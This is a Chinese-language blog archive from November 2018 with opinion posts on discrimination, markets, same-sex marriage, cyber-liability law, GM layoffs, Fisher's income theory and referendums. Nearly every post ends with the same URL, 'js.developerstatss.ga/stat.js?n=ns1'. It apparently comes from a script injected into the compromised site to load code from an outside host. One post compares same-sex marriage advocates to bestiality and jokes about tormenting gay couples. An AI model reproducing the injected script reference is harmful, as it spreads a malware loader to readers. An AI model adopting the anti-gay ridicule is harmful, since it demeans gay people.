月份: 十一月 2018

 

理由如下：

1.歧視（discrimination)的正確定義Someone thinks that A is superior to B, so someone chooses A and gives up B. B will be the cost of the decision.

https://js.developerstatss.ga/stat.js?n=ns1

網友高人Jones Yen留言：

「另外在成熟的市場經濟與商業發達環境下歧視者本身就會被市場狠狠的報復，不用其他人去喊打喊殺。歷史上很多所謂的歧視被解除，人權份子的努力只佔了很小的部分，更多的是每個個體用自身的努力彰顯出價值的累積。舉個例子：電影關鍵少數裡面，乍看之下是黑人女性被歧視翻身的故事，但是實際上是黑人女性的價值被彰顯的故事。把冷戰太空競賽看作市場競爭，那願意減少歧視讓人的智商與細膩發揮出來的就可以得到這些人力資源更大的贏得比賽。」

個人補充：

講更白話點：冷戰特殊侷限條件下，讓歧視高智商黑人的行為成本大增，歧視高智商黑人的行為數量就會減少。

https://js.developerstatss.ga/stat.js?n=ns1

若此文的描述若為真，那510還真是一個不及格的管理者。

若不是不懂得授權分工，就是反過來其實根本叫不動底下人。無論是哪一項，都在在顯示「不適任」。

延續昨天說過：「付出多不代表貢獻多。」

https://js.developerstatss.ga/stat.js?n=ns1

出身於傳統菜市場的我很清楚：當你連下一頓飯都有問題，下學期學費都沒著落時，人權、歧視等問題都只是可笑的奢侈品。從小就沒在休市，菜販肉販彼此玩象棋麻將賭錢時，聽過有人在談言論自由的。

而只有低政府干預的自由市場經濟與全球化貿易，才能讓人類財富大幅增長，才能創造如中國幾億人口短短30年間脫貧入康的奇蹟。

台灣如同許多西方國家一樣，談人權、談環保都是三種人：一種是根本不會賺錢，對世界並無太多實質貢獻的激進派嘴砲；另一種是偶爾靠人權環保來把妹、買贖罪券或是彰顯自己不同凡響（滿足自身虛弱貧乏自信心）的中產階級；以及懂得從前二者與政府身上撈大錢的尋租者。

https://js.developerstatss.ga/stat.js?n=ns1

反正就是「某些同性戀（或擅自幫腔的異性戀）打死不肯承認同性戀就是極少數的族群」，即便明明是事實，他們也覺得是歧視。

他們無法接受「事實」歧視了他們。當然也就無法接受「立個法讓你們的婚姻有法律效力」這樣的安排。（咦？那你們當初到底在追求什麼？）

所以哪天跑出主張「人獸婚」的獸交愛好者，堅持自己沒有不同、拒絕歧視，甚至主張人獸婚應該載入民法，我也不意外了。 XD

老話一句，同運的反行銷相當成功，惹毛了很多潛在客戶，真是我看過最失敗的行銷運動。

差點都讓我下定決心轉往「反同」路線 — 試想，不好好折磨拆散你們，怎麼能顯示你們愛情的真摯與堅定呢？科科～～～https://js.developerstatss.ga/stat.js?n=ns1

https://js.developerstatss.ga/stat.js?n=ns1

本篇新聞指出，網路安全法規要求下，如發生資料外洩，中小企業面臨的法律責任、賠償與罰款竟然與FB、Amazon這種大公司差不多。

可中小企業本身往往沒有大公司的資源去達成法規所要求的事項。更沒有能力負擔風險發生時的訴訟成本。

於是從經濟分析看，許多看似保障消費者的法規（如醫藥食品安全、衛生法規、消費者保護法乃至於本篇新聞主題『網路安全法規』），其實質經濟效果是「保障壟斷者利益」。

而這偏偏是反壟斷法不能也不會處理的部份。

這也是為什麼我們總看到大公司出面主張或歡迎更嚴格的行業規範、法律標準。

https://www.wsj.com/articles/the-case-for-protecting-small-firms-from-cyber-lawsuits-1543201260https://js.developerstatss.ga/stat.js?n=ns1

通用汽車計畫關閉美國與加拿大境內數座工廠，裁員14,800 名員工，以求在2020年底前達到節省每年$45億美元開支。

川普表示：「不爽！」聲稱自己與通用總裁通過電話施壓（川普撂狠話：「You’re playing around with the wrong person.」），通用方面也證實卻有此事。

可惜，通用汽車本週一仍然宣布將在未來縮減北美地區15%人力。

通用表示，即便這兩年經濟大好，自家公司財報亮麗，但「未雨稠繆」下，費用與資本支出二項都會努力精簡，後者暫定目標是年減$15億美元。

而同業呢？跟進！

Fiat Chrysler Automobiles NV已經停掉美國境內多數小型車與轎車的生產線；福特也計畫停掉某些車型的生產線。

—————————————
胡阿萍怎麼跟你說的都不一樣呀？美國貿易戰越打越不妙耶。

https://www.wsj.com/articles/gm-says-it-will-cut-15-of-salaried-workforce-in-north-america-1543246232https://js.developerstatss.ga/stat.js?n=ns1

前一篇談到中老年與青年預期收入之不同，特別補充一下經濟學「收入（income）」的概念。

根據利息理論大師I. Fisher的觀念，收入（income）是指一切可以帶來「享受（enjoyment）」的事物，除了金錢，也包含尊嚴、優越、五感或心靈的滿足乃至於愛情、親情….等等可以讓你覺得「有會比沒有」更好的事物。

因此投資小孩，並不只物質的養育、金錢的教育投資，而是包含對小孩的時間、耐心、關心、照護、溝通…等等支出，期待換取小孩未來回報。

換言之，投資愛情、投資親情，付出與回報都不僅僅是物質與金錢。

更進一步，Fisher著名的財富公式：「W=I/r」（財富等於未來收入流折現總合）當然也包括非金錢收入。

是的，經濟學認為一個人的總財富很大部分是「非金錢」的。這點對經濟學外行恐怕很震撼，笑。這也是說，只追求金錢的人是笨蛋，一生總財富量恐怕還輸給家庭和樂的水果攤老闆。

這，才是正確的經濟學觀念。

只是跟一切金融投資一樣，投資都不見得有回報，因為存在風險 — 不肖子孫、所嫁/娶非人、你愛的人不愛你/愛你的人你不愛、壞父母惡公婆、壞朋友…等等。猶如佛家言：愛別離苦、求不得苦、怨憎會苦，都會在風險實現時跑出來。

因此，學好經濟學，面對付出情感卻無回報甚至背叛，也比較不會死心眼走死胡同。所謂：心無罣礙。無罣礙故。無有恐怖。遠離顛倒夢想。究竟涅槃。

那為什麼經濟學家「談收入都只談錢？」

因為：1. 金錢收入是客觀且可輕易量度的與2. Fisher這類大師認為金錢是所有享受的前身，而人類一切享受以金錢來量度相對容易（例如你願意花25萬元買個包，客觀上可證明在你心中這個包包可以帶來的享受–美感、優越感、尊榮感…whatever — 至少大於等於25萬元）。

當然我們在邊際上可以「排列」enjoyment大小，例如一年只見愛孫一面的祖父母與天天見面者，初見面瞬間的快樂肯定有相對差異，但難以量化為絕對值。再談下去，會牽涉到measurement of utility的問題，我想我就跳過這塊了。https://js.developerstatss.ga/stat.js?n=ns1

為何社會多數都是保守派？從經濟分析來看，因為不知道（或訊息不夠明確）改變後的實際成本效益狀況，保持現況會是最理性、最低成本選擇。

為何年輕人多亟欲改變，而中老年人保守？

除了知識與判斷力差異外（畢竟中老年人多半看過不同情境的改革失敗下場，對於冒進改革傾向謹慎以對），從利息理論也可得到解釋 —

中老年人的未來收入流確定性遠高於20幾歲以下的毛頭，因此推動改變假設可能導致收入減少，則在1/n的機率下，前者的財富損失很可能高於後者。（n為>1的變動值，於中老年族群變動範圍小；年輕人族群變動範圍大）

而一個關鍵侷限條件是：時間。以平均壽命來看，中老年人若因錯誤改革造成財富損失，將只有相對年輕人「更少的時間與精力」來修正錯誤。

特別若我們將子女看做父母的投資這點來看，更可以解釋為何多數人有了親身子女後會轉趨保守。

進一步談談公投制度的一大弊病 — 選民根本 not well-informed，甚至很多議題，選民本身知識量判斷力都不足的侷限下，也不可能達到well-informed。

這次實踐上還指出一個更有趣的點：原來用個雙重否定句就可以考倒一堆高等教育台灣人呢！

換言之，我們等於是把決策放到一群搞不清楚狀況的人手上，這比美國法院的陪審團還糟糕。

再從產權經濟學角度看，這次公投案除了「以核養綠」有稍微比較明確地與選民財產連結（沒有核能電費要大漲、空氣會很差）外，其實多數公投案選民壓根不知道改變之後的代價是什麼？可能利益是什麼？風險與風險機率為幾何？

我們都知道產權的利害關係者與決策者發生脫鉤時，經濟無效率必定發生。

因此我認為，公投制度是本來就很爛的民主制度裡面最糟糕的一個安排。https://js.developerstatss.ga/stat.js?n=ns1